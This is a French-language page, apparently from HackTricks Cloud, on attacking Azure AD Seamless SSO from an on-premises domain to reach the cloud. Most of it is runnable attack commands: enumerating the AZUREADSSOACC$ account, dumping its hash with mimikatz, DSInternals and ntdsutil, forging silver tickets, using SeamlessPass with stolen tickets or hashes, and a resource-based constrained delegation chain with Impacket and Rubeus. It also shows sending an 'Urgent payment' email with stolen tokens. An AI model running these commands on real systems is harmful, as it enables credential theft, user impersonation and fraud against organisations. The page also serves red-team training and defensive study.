Az - Seamless SSO
Tip
Apprenez & pratiquez AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Soutenez HackTricks
- Consultez les subscription plans!
- Rejoignez le đŹ Discord group ou le telegram group ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des hacking tricks en soumettant des PRs aux HackTricks et HackTricks Cloud github repos.
Informations de base
Selon la documentation : Azure Active Directory Seamless Single Sign-On (Azure AD Seamless SSO) connecte automatiquement les utilisateurs lorsquâils sont sur leurs appareils dâentreprise connectĂ©s Ă votre rĂ©seau dâentreprise. Lorsquâil est activĂ©, les utilisateurs nâont pas besoin de saisir leurs mots de passe pour se connecter Ă Azure AD, et gĂ©nĂ©ralement, mĂȘme pas leurs noms dâutilisateur. Cette fonctionnalitĂ© offre Ă vos utilisateurs un accĂšs facile Ă vos applications basĂ©es sur le cloud sans nĂ©cessiter de composants supplĂ©mentaires sur site.
.png)
https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sso-how-it-works
Fondamentalement, Azure AD Seamless SSO connecte les utilisateurs lorsquâils sont sur un PC joint Ă un domaine sur site.
Il est pris en charge Ă la fois par PHS (Password Hash Sync) et PTA (Pass-through Authentication).
Le SSO de bureau utilise Kerberos pour lâauthentification. Lorsquâil est configurĂ©, Azure AD Connect crĂ©e un compte dâordinateur appelĂ© AZUREADSSOACC$ dans lâAD sur site. Le mot de passe du compte AZUREADSSOACC$ est envoyĂ© en texte clair Ă Entra ID lors de la configuration.
Les tickets Kerberos sont chiffrés en utilisant le NTHash (MD4) du mot de passe et Entra ID utilise le mot de passe envoyé pour déchiffrer les tickets.
Entra ID expose un point de terminaison (https://autologon.microsoftazuread-sso.com) qui accepte les tickets Kerberos. Le navigateur de la machine jointe au domaine transmet les tickets Ă ce point de terminaison pour le SSO.
ĂnumĂ©ration
# Check if the SSO is enabled in the tenant
Import-Module AADInternals
Invoke-AADIntReconAsOutsider -Domain <domain name> | Format-Table
# Check if the AZUREADSSOACC$ account exists in the domain
Install-WindowsFeature RSAT-AD-PowerShell
Import-Module ActiveDirectory
Get-ADComputer -Filter "SamAccountName -like 'AZUREADSSOACC$'"
# Check it using raw LDAP queries without needing an external module
$searcher = New-Object System.DirectoryServices.DirectorySearcher
$searcher.Filter = "(samAccountName=AZUREADSSOACC`$)"
$searcher.FindOne()
Pivoting : Sur site -> cloud
Warning
La principale chose Ă savoir sur cette attaque est que le simple fait dâavoir le TGT ou un TGS spĂ©cifique dâun utilisateur synchronisĂ© avec Entra ID suffit pour accĂ©der aux ressources cloud.
Câest parce que câest un ticket qui permet Ă un utilisateur de se connecter au cloud.
Pour obtenir ce ticket TGS, lâattaquant doit avoir lâun des Ă©lĂ©ments suivants :
- Un TGS dâutilisateur compromis : Si vous compromettez la session dâun utilisateur avec le ticket pour
HTTP/autologon.microsoftazuread-sso.comen mĂ©moire, vous pouvez lâutiliser pour accĂ©der aux ressources cloud. - Un TGT dâutilisateur compromis : MĂȘme si vous nâen avez pas, mais que lâutilisateur a Ă©tĂ© compromis, vous pouvez en obtenir un en utilisant le truc de dĂ©lĂ©gation de TGT falsifiĂ© implĂ©mentĂ© dans de nombreux outils tels que Kekeo et Rubeus.
- Un hash ou mot de passe dâutilisateur compromis : SeamlessPass communiquera avec le contrĂŽleur de domaine avec ces informations pour gĂ©nĂ©rer le TGT puis le TGS.
- Un golden ticket : Si vous avez la clĂ© KRBTGT, vous pouvez crĂ©er le TGT dont vous avez besoin pour lâutilisateur attaquĂ©.
- Le hash ou mot de passe du compte AZUREADSSOACC$ : Avec ces informations et lâidentifiant de sĂ©curitĂ© (SID) de lâutilisateur Ă attaquer, il est possible de crĂ©er un ticket de service et de sâauthentifier avec le cloud (comme effectuĂ© dans la mĂ©thode prĂ©cĂ©dente).
SeamlessPass
Comme expliquĂ© dans cet article de blog, avoir lâun des prĂ©cĂ©dents prĂ©requis rend trĂšs facile lâutilisation de lâoutil SeamlessPass pour accĂ©der aux ressources cloud en tant quâutilisateur compromis, ou en tant que nâimporte quel utilisateur si vous avez le hash ou le mot de passe du compte AZUREADSSOACC$.
Enfin, avec le TGT, il est possible dâutiliser lâoutil SeamlessPass avec :
# Using the TGT to access the cloud
seamlesspass -tenant corp.com -domain corp.local -dc dc.corp.local -tgt <base64_encoded_TGT>
# Using the TGS to access the cloud
seamlesspass -tenant corp.com -tgs user_tgs.ccache
# Using the victims account hash or password to access the cloud
seamlesspass -tenant corp.com -domain corp.local -dc dc.corp.local -username user -ntlm DEADBEEFDEADBEEFDEADBEEFDEADBEEF
seamlesspass -tenant corp.com -domain corp.local -dc 10.0.1.2 -username user -password password
# Using the AZUREADSSOACC$ account hash (ntlm or aes) to access the cloud with a specific user SID and domain SID
seamlesspass -tenant corp.com -adssoacc-ntlm DEADBEEFDEADBEEFDEADBEEFDEADBEEF -user-sid S-1-5-21-1234567890-1234567890-1234567890-1234
seamlesspass -tenant corp.com -adssoacc-aes DEADBEEFDEADBEEFDEADBEEFDEADBEEF -domain-sid S-1-5-21-1234567890-1234567890-1234567890 -user-rid 1234
wmic useraccount get name,sid # Get the user SIDs
Des informations supplĂ©mentaires pour configurer Firefox afin de fonctionner avec le SSO transparent peuvent ĂȘtre trouvĂ©es dans cet article de blog.
Obtention des hachages du compte AZUREADSSOACC$
Le mot de passe de lâutilisateur AZUREADSSOACC$ ne change jamais. Par consĂ©quent, un administrateur de domaine pourrait compromettre le hachage de ce compte, puis lâutiliser pour crĂ©er des tickets argent pour se connecter Ă Azure avec nâimporte quel utilisateur sur site synchronisĂ© :
# Dump hash using mimikatz
Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\azureadssoacc$ /domain:domain.local /dc:dc.domain.local"'
mimikatz.exe "lsadump::dcsync /user:AZUREADSSOACC$" exit
# Dump hash using https://github.com/MichaelGrafnetter/DSInternals
Get-ADReplAccount -SamAccountName 'AZUREADSSOACC$' -Domain contoso -Server lon-dc1.contoso.local
# Dump using ntdsutil and DSInternals
## Dump NTDS.dit
ntdsutil "ac i ntds" "ifmâ "create full C:\temp" q q
## Extract password
Install-Module DSInternals
Import-Module DSInternals
$key = Get-BootKey -SystemHivePath 'C:\temp\registry\SYSTEM'
(Get-ADDBAccount -SamAccountName 'AZUREADSSOACC$' -DBPath 'C:\temp\Active Directory\ntds.dit' -BootKey $key).NTHash | Format-Hexos
Note
Avec les informations actuelles, vous pourriez simplement utiliser lâoutil SeamlessPass comme indiquĂ© prĂ©cĂ©demment pour obtenir des tokens azure et entraid pour nâimporte quel utilisateur du domaine. Vous pourriez Ă©galement utiliser les techniques prĂ©cĂ©dentes (et dâautres) pour obtenir le hash du mot de passe de la victime que vous souhaitez imiter au lieu du compte
AZUREADSSOACC$.
Création de Silver Tickets
Avec le hash, vous pouvez maintenant générer des silver tickets :
# Get users and SIDs
Get-AzureADUser | Select UserPrincipalName,OnPremisesSecurityIdentifier
# Create a silver ticket to connect to Azure with mimikatz
Invoke-Mimikatz -Command '"kerberos::golden /user:onpremadmin /sid:S-1-5-21-123456789-1234567890-123456789 /id:1105 /domain:domain.local /rc4:<azureadssoacc hash> /target:autologon.microsoftazuread-sso.com /service:HTTP /ptt"'
mimikatz.exe "kerberos::golden /user:elrond /sid:S-1-5-21-2121516926-2695913149-3163778339 /id:1234 /domain:contoso.local /rc4:12349e088b2c13d93833d0ce947676dd /target:autologon.microsoftazuread-sso.com /service:HTTP /ptt" exit
# Create silver ticket with AADInternal to access Exchange Online
$kerberos=New-AADIntKerberosTicket -SidString "S-1-5-21-854168551-3279074086-2022502410-1104" -Hash "097AB3CBED7B9DD6FE6C992024BC38F4"
$at=Get-AADIntAccessTokenForEXO -KerberosTicket $kerberos -Domain company.com
## Send email
Send-AADIntOutlookMessage -AccessToken $at -Recipient "someone@company.com" -Subject "Urgent payment" -Message "<h1>Urgent!</h1><br>The following bill should be paid asap."
Utilisation des Silver Tickets avec Firefox
Pour utiliser le silver ticket, les Ă©tapes suivantes doivent ĂȘtre exĂ©cutĂ©es :
- Lancer le Navigateur : Mozilla Firefox doit ĂȘtre lancĂ©.
- Configurer le Navigateur :
- Naviguez vers
about:config. - Définissez la préférence pour network.negotiate-auth.trusted-uris à la valeur spécifiée :
https://aadg.windows.net.nsatc.net,https://autologon.microsoftazuread-sso.com- Allez dans
ParamĂštresde Firefox > RecherchezAutoriser l'authentification unique Windows pour les comptes Microsoft, de travail et scolaireset activez-le.
- AccĂ©der Ă lâApplication Web :
- Visitez une application web qui est intĂ©grĂ©e au domaine AAD de lâorganisation. Un exemple courant est login.microsoftonline.com.
- Processus dâAuthentification :
- Ă lâĂ©cran de connexion, le nom dâutilisateur doit ĂȘtre saisi, en laissant le champ du mot de passe vide.
- Pour continuer, appuyez sur TAB ou ENTER.
Warning
Cela ne contourne pas la MFA si elle est activĂ©e pour lâutilisateur.
On-prem -> Cloud via Resource Based Constrained Delegation
Pour effectuer lâattaque, il est nĂ©cessaire :
WriteDACL/GenericWritesurAZUREADSSOACC$- Un compte dâordinateur que vous contrĂŽlez (hash & mot de passe) - Vous pourriez en crĂ©er un
- ĂtapeâŻ1âŻâ Ajoutez votre propre compte dâordinateur
- Crée
ATTACKBOX$et imprime son SID/NTLM hash. Tout utilisateur de domaine peut le faire tant que MachineAccountQuotaâŻ>âŻ0
# Impacket
python3 addcomputer.py CONTOSO/bob:'P@ssw0rd!' -dc-ip 10.0.0.10 \
-computer ATTACKBOX$ -password S3cureP@ss
- Ătape 2 â Accorder RBCD sur
AZUREADSSOACC$- Ăcrit le SID de votre machine dansmsDS-AllowedToActOnBehalfOfOtherIdentity.
python3 rbcd.py CONTOSO/bob:'P@ssw0rd!'@10.0.0.10 \
ATTACKBOX$ AZUREADSSOACC$
# Or, from Windows:
$SID = (Get-ADComputer ATTACKBOX$).SID
Set-ADComputer AZUREADSSOACC$ `
-PrincipalsAllowedToDelegateToAccount $SID
- Ătape 3 â Forger un TGS pour nâimporte quel utilisateur (par exemple, alice)
# Using your machine's password or NTLM hash
python3 getST.py -dc-ip 192.168.1.10 \
-spn HTTP/autologon.microsoftazuread-sso.com \
-impersonate alice \
DOMAIN/ATTACKBOX$ -hashes :9b3c0d06d0b9a6ef9ed0e72fb2b64821
# Produces alice.autologon.ccache
#Or, from Windows:
Rubeus s4u /user:ATTACKBOX$ /rc4:9b3c0d06d0b9a6ef9ed0e72fb2b64821 `
/impersonateuser:alice `
/msdsspn:"HTTP/autologon.microsoftazuread-sso.com" /dc:192.168.1.10 /ptt
Vous pouvez maintenant utiliser le TGS pour accĂ©der aux ressources Azure en tant quâutilisateur usurpĂ©.
Création de tickets Kerberos pour les utilisateurs uniquement cloud
Si les administrateurs Active Directory ont accĂšs Ă Azure AD Connect, ils peuvent dĂ©finir le SID pour tout utilisateur cloud. De cette maniĂšre, des tickets Kerberos peuvent ĂȘtre créés Ă©galement pour les utilisateurs uniquement cloud. La seule exigence est que le SID soit un SID.
Caution
Changer le SID des utilisateurs administrateurs uniquement cloud est maintenant bloqué par Microsoft.
Pour plus dâinfos, consultez https://aadinternals.com/post/on-prem_admin/
Références
- https://learn.microsoft.com/en-us/azure/active-directory/hybrid/how-to-connect-sso
- https://www.dsinternals.com/en/impersonating-office-365-users-mimikatz/
- https://aadinternals.com/post/on-prem_admin/
- TR19: Je suis dans votre cloud, lisant les e-mails de tout le monde - hacking Azure AD via Active Directory
Tip
Apprenez & pratiquez AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Soutenez HackTricks
- Consultez les subscription plans!
- Rejoignez le đŹ Discord group ou le telegram group ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des hacking tricks en soumettant des PRs aux HackTricks et HackTricks Cloud github repos.
HackTricks Cloud

